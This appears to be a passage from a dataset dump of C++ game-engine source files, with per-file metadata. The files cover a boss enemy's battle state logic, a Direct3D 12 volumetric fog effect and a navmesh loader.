"max_line_length": 86,
"num_lines": 192,
"path": "/Game/Enemy/State/MiddleBombState/BossBombBattleState.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#include \"stdafx.h\"\n#include \"BossBombBattleState.h\"\n#include \"Enemy/IEnemy.h\"\n#include \"Enemy/EnemyManager.h\"\n#include \"Enemy/Boss/Boss_MiddleBomb.h\"\n#include \"GameManager.h\"\n#include \"Game.h\"\n#include \"Enemy/BossBGM.h\"\n\n#include \"Camera/GameCamera.h\"\n\nBossBombBattleState::BossBombBattleState()\n{\n}\n\nBossBombBattleState::~BossBombBattleState()\n{\n}\n\nvoid BossBombBattleState::Enter(IEnemy* e)\n{\n\tBossBombData::GetInstance().isStartBattle = true;\n\n\tif (!m_isAngry && BossBombData::GetInstance().feeling == BossBombData::EnFeel::Angry)\n\t{\n\t\te->PlayAnimation(TO_INT(Boss_MiddleBomb::EnAnimEX::Angry),0);\n\t}\n\telse\n\t{\n\t\te->PlayAnimation(TO_INT(IEnemy::EnAnimation::enIdle));\n\t}\n\n\tfloat perHP = e->GetCurrentHP()/e->GetMaxHP();\n\tif (perHP <= 2. / 3.)\n\t{\n\t\t//m_isAngry = true;\n\t\tm_timeLimit = 1.;\n\t}\n\n\tm_timer = 0.f;\n\n\te->SetAutoRotateFlag(false);\n\n\tm_firstRot = e->GetRotation();\n\n\tif (!m_isPerformed) {\n\t\tGameManager::GetInstance().m_gameScene->OnEnterBattle(e);\n\t\tm_isPerformed = true;\n\t}\n}\n\nIEnemyState* BossBombBattleState::Update(IEnemy* e)\n{\n\tif (!m_isAngry && BossBombData::GetInstance().feeling == BossBombData::EnFeel::Angry)\n\t{\n\t\tm_isAngry = true;\n\t\tm_timeLimit = 0.5;\n\n\t\t//e->PlayAnimation(TO_INT(Boss_MiddleBomb::EnAnimEX::Angry));\n\t\tauto cam = GameManager::GetInstance().m_camera;\n\t\tauto tar = e->GetPosition();\n\t\ttar.y += 20.f;\n\n\t\tauto eneForward = e->GetForward();\n\t\tauto camEndPos = e->GetPosition() + eneForward * 10.f;\n\t\tcamEndPos.y += 10.f;\n\t\tauto sec = 1.f;\n\t\tauto interval = 1.7f;\n\n\t\tg_graphicsEngine->GetPostEffect().SetUseFocusBlurFrag(true);\n\n\t\tcam->Perform(\n\t\t\tcamEndPos, camEndPos,\n\t\t\ttar, tar, sec, interval, GameCamera::State::enEnemyCamera\n\t\t);\n\t}\n\n\tif (e->GetCurrentHP() <= 0.f)\n\t\treturn e->GetState(TO_INT(IEnemy::EnState::enDeadState));\n\tfloat dtime = gameTime()->GetDeltaTime();\n\tm_timer += dtime;\n\n\tconst auto& ppos = GameManager::GetInstance().GetPlayer()->GetPosition();\n\tconst auto& epos = e->GetPosition();\n\n\tauto e2p = ppos - epos;\n\tfloat e2pLen = e2p.Length();\n\n\t\n\n\tif (e2pLen < m_distanceRolling)\n\t{\n\t\tm_timerRollingDistance += dtime;\n\t\tif (m_timerRollingDistance >= m_timeRollingDistance)\n\t\t{\n\t\t\tm_timerRollingDistance = 0.f;\n\t\t\treturn e->GetState(TO_INT(Boss_MiddleBomb::EnStateEX::Rolling));\n\t\t}\n\t}\n\telse if (e2pLen > 250.f)\n\t{\n\t\treturn e->GetState(TO_INT(IEnemy::EnState::enIdleState));\n\t}\n\telse\n\t{\n\t\tm_timerRollingDistance = 0.f;\n\t}\n\n\tfloat rand = GRandom().Rand();\n\tif (m_timer >= m_timeLimit && true)\n\t{\n\t\t\n\t\tif (e2pLen < m_distanceBash)\n\t\t\treturn e->GetState(TO_INT(Boss_MiddleBomb::EnStateEX::Bash));\n\n\t\tfloat dify = ppos.y - epos.y;\n\t\tif (!GameManager::GetInstance().GetPlayer()->IsOnGround()&& dify > 50.f)\n\t\t{\n\t\t\treturn e->GetState(TO_INT(Boss_MiddleBomb::EnStateEX::Jump));\n\t\t}\n\t\t\n\t\tif (rand < 0.4)\n\t\t{\n\t\t\treturn e->GetState(TO_INT(IEnemy::EnState::enAttackA));\n\t\t}\n\t\telse if (rand < 0.8)\n\t\t{\n\t\t\treturn e->GetState(TO_INT(IEnemy::EnState::enAttackB));\n\t\t}\n\t\telse if (rand < 0.9 && false)\n\t\t{\n\t\t\treturn e->GetState(TO_INT(Boss_MiddleBomb::EnStateEX::FullFrontal));\n\t\t}\n\t}\n\n\tVector3 move = Vector3::Zero;\n\n\t\n\tauto e2pDir = e2p;\n\te2pDir.y = 0.f;\n\te2pDir.Normalize();\n\n\tif (e2pLen < m_distance-5.f)\n\t{\n\t\tmove += e2pDir * (-m_speed * dtime * 0.5f);\n\t}\n\telse if (e2pLen > m_distance)\n\t{\n\t\tmove += e2pDir * m_speed * dtime;\n\t}\n\n\tQuaternion rot;\n\trot.SetRotationDegY(360.f * dtime);\n\tauto e2pRot = e2p;\n\trot.Apply(e2pRot);\n\te2pRot -= e2p;\n\n\tmove += e2pRot;\n\n\t{\n\t\tfloat t = m_timer / m_timeRotate;\n\t\tif (t >= 1.f)\n\t\t{\n\t\t\tQuaternion rot;\n\t\t\tauto theta = atan2(e2p.x, e2p.z);\n\t\t\trot.SetRotationY(theta);\n\t\t\te->SetRotation(rot);\n\t\t}\n\t\telse\n\t\t{\n\t\t\tQuaternion rot;\n\t\t\tauto theta = atan2(e2p.x, e2p.z);\n\t\t\t//theta = theta * (180.f / Math::PI);\n\t\t\trot.SetRotationY(theta);\n\t\t\trot.Slerp(t, m_firstRot, rot);\n\t\t\te->SetRotation(rot);\n\t\t}\n\t}\n\n\tmove.y -= 500.f;\n\te->SetVelocity(move);\n\treturn this;\n}\n\nvoid BossBombBattleState::Exit(IEnemy* e)\n{\n\te->SetVelocity(Vector3::Zero);\n}\n\nvoid BossBombBattleState::OnAttacked(IEnemy* e)\n{\n}\n"
},
{
"alpha_fraction": 0.6768122315406799,
"alphanum_fraction": 0.7060726284980774,
"avg_line_length": 30.34331703186035,
"blob_id": "49e488a1d6c024e7a5922fd531019bac5f603155",
"content_id": "85a19b0d0f22f2e10cf9be05de10be22b057f047",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 13800,
"license_type": "no_license",
"max_line_length": 141,
"num_lines": 434,
"path": "/UsualEngineR/Graphics/Effect/VolumetricEffect.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "SHIFT_JIS",
"text": "#include \"PreCompile.h\"\n#include \"VolumetricEffect.h\"\n\n\n\nnamespace UER\n{\n\tvoid AnchorModel::Init(const char* tkmFile, RWStructuredBuffer& vertPosList)\n\t{\n\t\tm_tkm.Load(tkmFile);\n\n\t\tint count = 0;\n\t\tm_tkm.QueryMeshParts([&](const TkmFile::SMesh& mesh)\n\t\t\t{\n\t\t\t\tif (count > 0)\n\t\t\t\t{\n#if DEBUG_FUNC\n\t\t\t\t\tMessageBoxA(nullptr, \"one skin model only!!! sory...\", \"error\", MB_OK);\n\t\t\t\t\tstd::abort();\n#else\n\t\t\t\t\treturn;\n#endif\n\t\t\t\t}\n\n\t\t\t\tint vertNum = mesh.vertexBuffer.size();\n\t\t\t\tint vertSize = sizeof(TkmFile::SVertex);\n\t\t\t\tm_vertBuffer.Init(vertSize*vertNum, vertSize);\n\t\t\t\tm_vertBuffer.Copy((void*)&mesh.vertexBuffer[0]);\n\n\t\t\t\tm_vertBuffer_inv.Init(vertSize * vertNum, vertSize);\n\t\t\t\tm_vertBuffer_inv.Copy((void*)&mesh.vertexBuffer[0]);\n\t\t\t\tauto vdata = reinterpret_cast<TkmFile::SVertex*>(m_vertBuffer_inv.BeginEgit());\n\n\t\t\t\tfloat top = -FLT_MAX;\n\t\t\t\tfloat bottom = FLT_MAX;\n\t\t\t\tVector3 vertSum = g_vec3Zero;\n\t\t\t\tfor (int i = 0; i < vertNum; i++)\n\t\t\t\t{\n\t\t\t\t\tvdata[i].normal *= -1.f;\n\t\t\t\t\tvertSum += vdata[i].pos;\n\n\t\t\t\t\ttop = max(vdata[i].pos.y, top);\n\t\t\t\t\tbottom = min(vdata[i].pos.y, bottom);\n\t\t\t\t}\n\t\t\t\tm_vertBuffer_inv.EndEdit();\n\n\t\t\t\tm_center = vertSum / vertNum;\n\t\t\t\tm_centerBottom.Set(m_center.x, bottom, m_center.z);\n\t\t\t\tm_centerTop.Set(m_center.x, top, m_center.z);\n\t\t\t\tm_centerAxis = m_centerTop - m_centerBottom;\n\t\t\t\t\n\n\t\t\t\tif (!mesh.indexBuffer16Array.empty())\n\t\t\t\t{\n\t\t\t\t\tm_indBuffer.Init(mesh.indexBuffer16Array[0].indices.size() * 2, 2);\n\t\t\t\t\tm_indBuffer.Copy((void*)&mesh.indexBuffer16Array[0].indices[0]);\n\n\t\t\t\t\tm_indBuffer_inv.Init(mesh.indexBuffer16Array[0].indices.size() * 2, 2);\n\t\t\t\t\tm_indBuffer_inv.Copy((void*)&mesh.indexBuffer16Array[0].indices[0]);\n\t\t\t\t\tauto idata = reinterpret_cast<uint16_t*>(m_indBuffer_inv.BeginEgit());\n\t\t\t\t\tfor (int i = 0; i < mesh.indexBuffer16Array[0].indices.size() / 3; i++)\n\t\t\t\t\t{\n\t\t\t\t\t\tint b = i * 3;\n\t\t\t\t\t\tstd::swap(idata[b], idata[b + 2]);\n\t\t\t\t\t}\n\t\t\t\t\tm_indBuffer_inv.EndEdit();\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tm_indBuffer.Init(mesh.indexBuffer32Array[0].indices.size() * 4, 4);\n\t\t\t\t\tm_indBuffer.Copy((void*)&mesh.indexBuffer32Array[0].indices[0]);\n\t\t\t\t}\n\n\t\t\t\tcount++;\n\t\t\t});\n\n\t\tm_constBuffer.Init(sizeof(SConstBufferData));\n\n\t\tvertPosList.Init(sizeof(Vector3), GetVertexNum(), nullptr);\n\n\t\tm_vs.LoadVS(L\"Assets/shader/AnchorModel.fx\", \"VSMain\");\n\t\tm_vs_inv.LoadVS(L\"Assets/shader/AnchorModel.fx\", \"VSMain_inv\");\n\t\tm_ps.LoadPS(L\"Assets/shader/AnchorModel.fx\", \"PSMain\");\n\t\tm_ps_inv.LoadPS(L\"Assets/shader/AnchorModel.fx\", \"PSMain_inv\");\n\n\t\tm_rootSign.Init(\n\t\t\tD3D12_FILTER_MIN_MAG_MIP_LINEAR,\n\t\t\tD3D12_TEXTURE_ADDRESS_MODE_WRAP,\n\t\t\tD3D12_TEXTURE_ADDRESS_MODE_WRAP,\n\t\t\tD3D12_TEXTURE_ADDRESS_MODE_WRAP,\n\t\t\t1,1,1\n\t\t);\n\n\t\t// 頂点レイアウトを定義する。\n\t\tD3D12_INPUT_ELEMENT_DESC inputElementDescs[] =\n\t\t{\n\t\t\t{ \"POSITION\", 0, DXGI_FORMAT_R32G32B32_FLOAT, 0, 0, D3D12_INPUT_CLASSIFICATION_PER_VERTEX_DATA, 0 },\n\t\t\t{ \"NORMAL\", 0, DXGI_FORMAT_R32G32B32_FLOAT, 0, 12, D3D12_INPUT_CLASSIFICATION_PER_VERTEX_DATA, 0 },\n\t\t};\n\n\t\t\n\n\t\t//パイプラインステートを作成。\n\t\tD3D12_GRAPHICS_PIPELINE_STATE_DESC psoDesc = { 0 };\n\t\tpsoDesc.InputLayout = { inputElementDescs, _countof(inputElementDescs) };\n\t\tpsoDesc.pRootSignature = m_rootSign.Get();\n\t\tpsoDesc.VS = CD3DX12_SHADER_BYTECODE(m_vs.GetCompiledBlob());\n\t\tpsoDesc.PS = CD3DX12_SHADER_BYTECODE(m_ps.GetCompiledBlob());\n\t\tpsoDesc.RasterizerState = CD3DX12_RASTERIZER_DESC(D3D12_DEFAULT);\n\t\tpsoDesc.BlendState = CD3DX12_BLEND_DESC(D3D12_DEFAULT);\n\t\tpsoDesc.DepthStencilState.DepthEnable = TRUE;\n\t\tpsoDesc.DepthStencilState.DepthWriteMask = D3D12_DEPTH_WRITE_MASK_ALL;\n\t\tpsoDesc.DepthStencilState.DepthFunc = D3D12_COMPARISON_FUNC_LESS_EQUAL;\n\t\tpsoDesc.DepthStencilState.StencilEnable = FALSE;\n\t\tpsoDesc.SampleMask = UINT_MAX;\n\t\tpsoDesc.PrimitiveTopologyType = D3D12_PRIMITIVE_TOPOLOGY_TYPE_TRIANGLE;\n\t\tpsoDesc.NumRenderTargets = 2;\n\t\tpsoDesc.RTVFormats[0] = DXGI_FORMAT_R32_FLOAT;\t\t//アルベドカラー出力用。\n\t\tpsoDesc.RTVFormats[1] = DXGI_FORMAT_R8_UINT;\t\t//ステンシル出力用。\n\t\tpsoDesc.DSVFormat = DXGI_FORMAT_D16_UNORM;\n\t\tpsoDesc.SampleDesc.Count = 1;\n\t\tm_pipState.Init(psoDesc);\n\n\t\tpsoDesc.VS = CD3DX12_SHADER_BYTECODE(m_vs_inv.GetCompiledBlob());\n\t\tpsoDesc.NumRenderTargets = 1;\n\t\tpsoDesc.RTVFormats[1] = DXGI_FORMAT_UNKNOWN;\n\t\t//m_pipState_inv.Init(psoDesc);\n\n\n\t\tm_descHeap.RegistConstantBuffer(0, m_constBuffer);\n\t\tm_descHeap.RegistUnorderAccessResource(0, vertPosList);\n\t\tm_descHeap.Commit();\n\t}\n\tvoid AnchorModel::Draw(RenderContext& rc, const Matrix& mwvp, bool isInv)\n\t{\n\t\tm_constBuffer.CopyToVRAM((void*)&mwvp);\n\n\t\t\n\t\t\n\t\trc.SetPrimitiveTopology(D3D_PRIMITIVE_TOPOLOGY_TRIANGLELIST);\n\n\t\trc.SetRootSignature(m_rootSign);\n\t\tif (!isInv)\n\t\t{\n\t\t\trc.SetIndexBuffer(m_indBuffer);\n\t\t\trc.SetVertexBuffer(m_vertBuffer);\n\t\t\trc.SetPipelineState(m_pipState);\n\t\t}\n\t\telse\n\t\t{\n\t\t\trc.SetIndexBuffer(m_indBuffer_inv);\n\t\t\trc.SetVertexBuffer(m_vertBuffer_inv);\n\t\t\trc.SetPipelineState(m_pipState);\n\t\t}\n\t\t\n\t\trc.SetDescriptorHeap(m_descHeap);\n\n\n\t\trc.DrawIndexed(m_indBuffer.GetCount());\n\t}\n\n\t\n\tRenderTarget VolumetricEffect::m_anchorRT;\n\tRenderTarget VolumetricEffect::m_anchorRT_inv;\n\tRenderTarget VolumetricEffect::m_stencilRT;\n\tbool VolumetricEffect::m_isInitRT = false;\n\n\tvoid VolumetricEffect::Release()\n\t{\n\t}\n\n\tvoid VolumetricEffect::Init(const char* tkmFile)\n\t{\n\t\t\n\t\t//m_vertPos.Init(sizeof(Vector2), m_anchorModel.GetVertexNum(), nullptr);\n\t\tm_anchorModel.Init(tkmFile,m_vertPos);\n\n\t\tif (!m_isInitRT)\n\t\t{\n\t\t\tfloat cc[4] = { FLT_EPSILON,0,0,1 };\n\t\t\tm_anchorRT.Create(FRAME_BUFFER_W, FRAME_BUFFER_H, 1, 1, DXGI_FORMAT_R32_FLOAT, DXGI_FORMAT_D16_UNORM, cc);\n\t\t\tm_anchorRT_inv.Create(FRAME_BUFFER_W, FRAME_BUFFER_H, 1, 1, DXGI_FORMAT_R32_FLOAT, DXGI_FORMAT_D16_UNORM, cc);\n\t\t\tcc[0] = 0;\n\t\t\tm_stencilRT.Create(FRAME_BUFFER_W, FRAME_BUFFER_H, 1, 1, DXGI_FORMAT_R8_UINT, DXGI_FORMAT_D16_UNORM, cc);\n\t\t\tm_isInitRT = true;\n\t\t}\n\n\t\tstruct SSimpleVertex {\n\t\t\tVector4 pos;\n\t\t\tVector2 tex;\n\t\t};\n\t\t//四角形プリミティブを初期化。\n\t\tSSimpleVertex vertices[] =\n\t\t{\n\t\t\t{\n\t\t\t\tVector4(-1.0f, -1.0f, 0.0f, 1.0f),\n\t\t\t\tVector2(0.0f, 1.0f),\n\t\t\t},\n\t\t\t{\n\t\t\t\tVector4(1.0f, -1.0f, 0.0f, 1.0f),\n\t\t\t\tVector2(1.0f, 1.0f),\n\t\t\t},\n\t\t\t{\n\t\t\t\tVector4(-1.0f, 1.0f, 0.0f, 1.0f),\n\t\t\t\tVector2(0.0f, 0.0f)\n\t\t\t},\n\t\t\t{\n\t\t\t\tVector4(1.0f, 1.0f, 0.0f, 1.0f),\n\t\t\t\tVector2(1.0f, 0.0f)\n\t\t\t}\n\n\t\t};\n\t\tshort indices[] = { 0,1,2,3 };\n\t\tm_prim.Cteate(D3D_PRIMITIVE_TOPOLOGY_TRIANGLESTRIP, 4, sizeof(SSimpleVertex), vertices, 4, Primitive::it_2byte, indices);\n\n\t\tm_constBuffer.Init(sizeof(SConstBufferData));\n\n\t\tm_vs.LoadVS(L\"Assets/shader/VolumetricEffect.fx\", \"VSMain\");\n\t\tm_ps.LoadPS(L\"Assets/shader/VolumetricEffect.fx\", \"PSMain\");\n\n\t\tm_rootSign.Init(\n\t\t\tD3D12_FILTER_MIN_MAG_MIP_LINEAR,\n\t\t\tD3D12_TEXTURE_ADDRESS_MODE_WRAP,\n\t\t\tD3D12_TEXTURE_ADDRESS_MODE_WRAP,\n\t\t\tD3D12_TEXTURE_ADDRESS_MODE_WRAP,\n\t\t\t1, 4, 1\n\t\t);\n\n\t\t// 頂点レイアウトを定義する。\n\t\tD3D12_INPUT_ELEMENT_DESC inputElementDescs[] =\n\t\t{\n\t\t\t{ \"POSITION\", 0, DXGI_FORMAT_R32G32B32A32_FLOAT, 0, 0, D3D12_INPUT_CLASSIFICATION_PER_VERTEX_DATA, 0 },\n\t\t\t{ \"TEXCOORD\", 0, DXGI_FORMAT_R32G32_FLOAT, 0, 16, D3D12_INPUT_CLASSIFICATION_PER_VERTEX_DATA, 0 },\n\t\t};\n\n\t\tD3D12_BLEND_DESC blendDesc = {};\n\t\tblendDesc.AlphaToCoverageEnable = FALSE;\n\t\tblendDesc.IndependentBlendEnable = FALSE;\n\t\tconst D3D12_RENDER_TARGET_BLEND_DESC defaultRenderTargetBlendDesc =\n\t\t{\n\t\t\tTRUE,FALSE,\n\t\t\tD3D12_BLEND_SRC_ALPHA, D3D12_BLEND_INV_SRC_ALPHA, D3D12_BLEND_OP_ADD,\n\t\t\tD3D12_BLEND_ONE, D3D12_BLEND_ZERO, D3D12_BLEND_OP_ADD,\n\t\t\tD3D12_LOGIC_OP_NOOP,\n\t\t\tD3D12_COLOR_WRITE_ENABLE_ALL,\n\t\t};\n\t\tfor (UINT i = 0; i < D3D12_SIMULTANEOUS_RENDER_TARGET_COUNT; ++i)\n\t\t\tblendDesc.RenderTarget[i] = defaultRenderTargetBlendDesc;\n\n\t\t//パイプラインステートを作成。\n\t\tD3D12_GRAPHICS_PIPELINE_STATE_DESC psoDesc = { 0 };\n\t\tpsoDesc.InputLayout = { inputElementDescs, _countof(inputElementDescs) };\n\t\tpsoDesc.pRootSignature = m_rootSign.Get();\n\t\tpsoDesc.VS = CD3DX12_SHADER_BYTECODE(m_vs.GetCompiledBlob());\n\t\tpsoDesc.PS = CD3DX12_SHADER_BYTECODE(m_ps.GetCompiledBlob());\n\t\tpsoDesc.RasterizerState = CD3DX12_RASTERIZER_DESC(D3D12_DEFAULT);\n\t\tpsoDesc.RasterizerState.CullMode = D3D12_CULL_MODE_NONE;\n\t\tpsoDesc.BlendState = blendDesc;\n\t\tpsoDesc.DepthStencilState.DepthEnable = FALSE;\n\t\tpsoDesc.DepthStencilState.DepthWriteMask = D3D12_DEPTH_WRITE_MASK_ALL;\n\t\tpsoDesc.DepthStencilState.DepthFunc = D3D12_COMPARISON_FUNC_LESS_EQUAL;\n\t\tpsoDesc.DepthStencilState.StencilEnable = FALSE;\n\t\tpsoDesc.SampleMask = UINT_MAX;\n\t\tpsoDesc.PrimitiveTopologyType = D3D12_PRIMITIVE_TOPOLOGY_TYPE_TRIANGLE;\n\t\tpsoDesc.NumRenderTargets = 1;\n\t\tpsoDesc.RTVFormats[0] = DXGI_FORMAT_R32G32B32A32_FLOAT;\t\t//アルベドカラー出力用。\n\t\tpsoDesc.DSVFormat = DXGI_FORMAT_D32_FLOAT;\n\t\tpsoDesc.SampleDesc.Count = 1;\n\t\tm_pipState.Init(psoDesc);\n\n\n\t\tm_descHeap.RegistShaderResource(0, m_anchorRT.GetRenderTargetTexture());\n\t\tm_descHeap.RegistShaderResource(1, m_anchorRT_inv.GetRenderTargetTexture());\n\t\tm_descHeap.RegistShaderResource(2, m_stencilRT.GetRenderTargetTexture());\n\t\tm_descHeap.RegistShaderResource(3, g_graphicsEngine->GetPreRender().GetGBuffer().GetGBuffer(EGBufferKind::Depth).GetRenderTargetTexture());\n\t\tm_descHeap.RegistConstantBuffer(0, m_constBuffer);\n\t\tauto& shadowMap = g_graphicsEngine->GetShadowMap();\n\t\tm_descHeap.RegistShaderResource(4, shadowMap.GetShadowMap(0).GetRenderTargetTexture());\n\t\tm_descHeap.RegistShaderResource(5, shadowMap.GetShadowMap(1).GetRenderTargetTexture());\n\t\tm_descHeap.RegistShaderResource(6, shadowMap.GetShadowMap(2).GetRenderTargetTexture());\n\t\tm_descHeap.RegistConstantBuffer(1, shadowMap.GetShadowCB());\n\n\t\tm_descHeap.Commit();\n\t}\n\n\tstruct SVertPosXYW\n\t{\n\t\tVector2 pos;\n\t\tfloat w;\n\t};\n\tvoid VolumetricEffect::Draw(RenderContext& rc, const Matrix& mworld, const Matrix& mvp, const FogData& fogData)\n\t{\n\t\trc.WaitUntilToPossibleSetRenderTarget(m_anchorRT);\n\t\trc.WaitUntilToPossibleSetRenderTarget(m_anchorRT_inv);\n\t\trc.WaitUntilToPossibleSetRenderTarget(m_stencilRT);\n\n\t\tm_anchorRT.Clear(rc);\n\t\tm_anchorRT_inv.Clear(rc);\n\t\tm_stencilRT.Clear(rc);\n\n\t\tMatrix mwvp;\n\t\tmwvp.Multiply(mworld, mvp);\n\n\t\tRenderTarget* rts[] = { &m_anchorRT,&m_stencilRT };\n\t\trc.SetRenderTargets(2, rts);\n\t\tm_anchorModel.Draw(rc, mwvp, false);\n\n\t\t//rc.WaitUntilToPossibleSetRenderTarget(m_stencilRT);\n\n\t\t//rc.SetRenderTargets(1, &m_anchorRT_inv);\n\t\trts[0] = &m_anchorRT_inv;\n\t\trc.SetRenderTargets(2, rts);\n\t\tm_anchorModel.Draw(rc, mwvp, true);\n\n\t\t\n\t\trc.WaitUntilFinishDrawingToRenderTarget(m_anchorRT);\n\t\trc.WaitUntilFinishDrawingToRenderTarget(m_anchorRT_inv);\n\t\trc.WaitUntilFinishDrawingToRenderTarget(m_stencilRT);\n\n\n\t\tSVertPosXYW* vertPosList = reinterpret_cast<SVertPosXYW*>(m_vertPos.GetResourceOnCPU());\n\t\tVector2 maxPos = { -FLT_MAX, -FLT_MAX }, minPos = { FLT_MAX, FLT_MAX };\n\t\tfor (int i = 0; i < m_anchorModel.GetVertexNum(); i++)\n\t\t{\n\t\t\tvertPosList[i].pos.Scale(1.f/vertPosList[i].w);\n\t\t\tvertPosList[i].pos.x += 1.f;\n\t\t\tvertPosList[i].pos.y -= 1.f;\n\t\t\tvertPosList[i].pos.x /= 2.f;\n\t\t\tvertPosList[i].pos.y /= -2.f;\n\t\t\tvertPosList[i].pos.x *= FRAME_BUFFER_W;\n\t\t\tvertPosList[i].pos.y *= FRAME_BUFFER_H;\n\n\t\t\tmaxPos.Max(vertPosList[i].pos);\n\t\t\tminPos.Min(vertPosList[i].pos);\n\t\t}\n\t\tmaxPos.Min({FRAME_BUFFER_W,FRAME_BUFFER_H });\n\t\tminPos.Max({ 0,0 });\n\t\tD3D12_RECT rect;\n\t\trect.left = minPos.x;\n\t\trect.top = minPos.y;\n\t\trect.right = maxPos.x;\n\t\trect.bottom = maxPos.y;\n\n\t\tif (rect.left == 0 && rect.top == 0 && rect.right == 0 && rect.bottom == 0)\n\t\t{\n\t\t\t//return;\n\t\t}\n\n\t\t/*D3D12_VIEWPORT viewport;\n\t\tviewport.TopLeftX = 0;\n\t\tviewport.TopLeftY = 0;\n\t\tviewport.Width = static_cast<FLOAT>(FRAME_BUFFER_W);\n\t\tviewport.Height = static_cast<FLOAT>(FRAME_BUFFER_H);\n\t\tviewport.MinDepth = D3D12_MIN_DEPTH;\n\t\tviewport.MaxDepth = D3D12_MAX_DEPTH;*/\n\t\t\n\n\t\tSConstBufferData cbData;\n\t\tcbData.mvp = mvp;\n\t\tcbData.mvp_inv.Inverse(mvp);\n\n\t\tcbData.data.rayCount = fogData.rayCount;\n\t\tcbData.data.rayLen = fogData.rayLen;\n\t\tcbData.data.color = fogData.color;\n\t\tcbData.data.decayCenterToXZ = fogData.decayCenterToXZ;\n\t\tcbData.data.decayCenterToY = fogData.decayCenterToY;\n\t\tcbData.data.offset = fogData.offset;\n\t\tcbData.data.perlinScale = fogData.perlinScale;\n\t\tcbData.data.worleyScale = fogData.worleyScale;\n\t\tcbData.data.ratioParlin = fogData.ratioParlin;\n\t\tcbData.data.ratioParlinWorley = fogData.ratioParlinWorley;\n\t\tcbData.data.concentration = fogData.concentration;\n\t\tcbData.data.centerOffsetY = fogData.centerOffsetY;\n\n\t\tcbData.data.centerPos = m_anchorModel.GetCenter();\n\t\tmworld.Apply(cbData.data.centerPos);\n\t\t//cbData.data.centerAxis = m_anchorModel.GetCenterAxis();\n\t\t//mworld.Apply(cbData.data.centerAxis);\n\t\tcbData.data.centerBottom = m_anchorModel.GetCenterBottom();\n\t\tmworld.Apply(cbData.data.centerBottom);\n\t\tcbData.data.centerTop = m_anchorModel.GetCenterTop();\n\t\tmworld.Apply(cbData.data.centerTop);\n\n\t\tm_constBuffer.CopyToVRAM(cbData);\n\n\t\trc.SetRenderTargets(1, g_graphicsEngine->GetCurrentRenderTarget());\n\n\t\t//rc.SetScissorRect(rect);\n\t\t//rc.SetViewport(viewport);\n\n\t\trc.SetRootSignature(m_rootSign);\n\t\trc.SetPipelineState(m_pipState);\n\t\trc.SetDescriptorHeap(m_descHeap);\n\n\t\tm_prim.Draw(rc);\n\n\t\trect.left = 0;\n\t\trect.top = 0;\n\t\trect.right = FRAME_BUFFER_W;\n\t\trect.bottom = FRAME_BUFFER_H;\n\t\trc.SetScissorRect(rect);\n\t}\n\n\n\n\tvoid VolumetricEffectRender::Release()\n\t{\n\t}\n\tvoid VolumetricEffectRender::OnDestroy()\n\t{\n\t}\n\tvoid VolumetricEffectRender::Init(const char* tkmFile)\n\t{\n\t\tm_volumeEffect.Init(tkmFile);\n\t}\n\tvoid VolumetricEffectRender::Update()\n\t{\n\t}\n\tvoid VolumetricEffectRender::PrePostRender()\n\t{\n\t\tauto& rc = g_graphicsEngine->GetRenderContext();\n\t\tauto& mvp = g_camera3D->GetViewProjectionMatrix();\n\n\t\tMatrix /*tra, sca, rot, */wmat(m_pos,m_sca,m_rot);\n\t\t/*tra.MakeTranslation(m_pos);\n\t\tsca.MakeScaling(m_sca);\n\t\trot.MakeRotationFromQuaternion(m_rot);\n\t\twmat.Multiply(sca, rot);\n\t\twmat.Multiply(wmat, tra);*/\n\t\t\n\n\t\tm_volumeEffect.Draw(rc, wmat, mvp, m_fogData);\n\t}\n}"
},
{
"alpha_fraction": 0.6099773049354553,
"alphanum_fraction": 0.6235827803611755,
"avg_line_length": 18.47058868408203,
"blob_id": "b620778e8754f59ee2d0c001ce05062f80f034f2",
"content_id": "8b2ae019b408de5d731ebb51abb4670b08c20eb6",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 1523,
"license_type": "no_license",
"max_line_length": 71,
"num_lines": 68,
"path": "/Game/Navimesh/Navimesh.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "SHIFT_JIS",
"text": "#include \"stdafx.h\"\n#include \"Navimesh.h\"\n#include <thread>\n\nNavimesh::Navimesh()\n{\n}\n\nNavimesh::~Navimesh()\n{\n\tRelease();\n}\n\nvoid Navimesh::BuildNavimeshFromBinary()\n{\n\t//アセットフォルダからナビメッシュのデータをロードする。\n\tFILE* fp = fopen(\"Assets/navmesh/map.nvm\", \"rb\");\n\tif (fp == nullptr) {\n\t\t//ファイルオープンに失敗\n\t\t//MessageBox(nullptr, \"エラー\", \"stage.hnvが開けませんでした。\", MB_OK);\n\t\treturn;\n\t}\n\tint numCell;\n\tfread(&numCell, sizeof(int), 1, fp);\n\t//CellBinaryの配列を動的に確保\n\tCellBinary* cellBinarys = new CellBinary[numCell];\n\tfread(cellBinarys, sizeof(CellBinary) * numCell, 1, fp);\n\n\t//CellBinaryからCellの情報を構築する。\n\tfor (int i = 0; i < numCell; i++) {\n\t\t//セルの生成\n\t\tCell* cell = new Cell;\n\n\t\tfor (int j = 0; j < 3; j++) {\n\t\t\tcell->vertexPos[j] = cellBinarys[i].vertexPos[j] * 100.0f;\n\t\t}\n\t\tcell->centerPos = cellBinarys[i].centerPos * 100.0f;\n\t\tm_cells.push_back(cell);\n\t}\n\n\tfor (int i = 0; i < numCell; i++) {\n\t\tfor (int j = 0; j < 3; j++) {\n\t\t\tif (cellBinarys[i].linkCellNo[j] != -1) {\n\t\t\t\tm_cells[i]->linkCells[j] = m_cells[(cellBinarys[i].linkCellNo[j])];\n\t\t\t}\n\t\t\telse {\n\t\t\t\tm_cells[i]->linkCells[j] = NULL;\n\t\t\t}\n\t\t}\n\t}\n\tdelete[] cellBinarys;\n\tfclose(fp);\n}\n\nvoid Navimesh::Release()\n{\n\tfor (int i = 0; i < m_cells.size(); i++)\n\t{\n\t\tdelete m_cells[i];\n\t}\n\tm_cells.clear();\n}\n\nvoid Navimesh::Init()\n{\n\t//保存されたバイナリデータからナビメッシュを構築。\n\tBuildNavimeshFromBinary();\n}"
},
{
"alpha_fraction": 0.6650426387786865,
"alphanum_fraction": 0.6650426387786865,
"avg_line_length": 18.31764793395996,
"blob_id": "5697b4334d05d64060b80e54c3f28ce02cd9adf1",
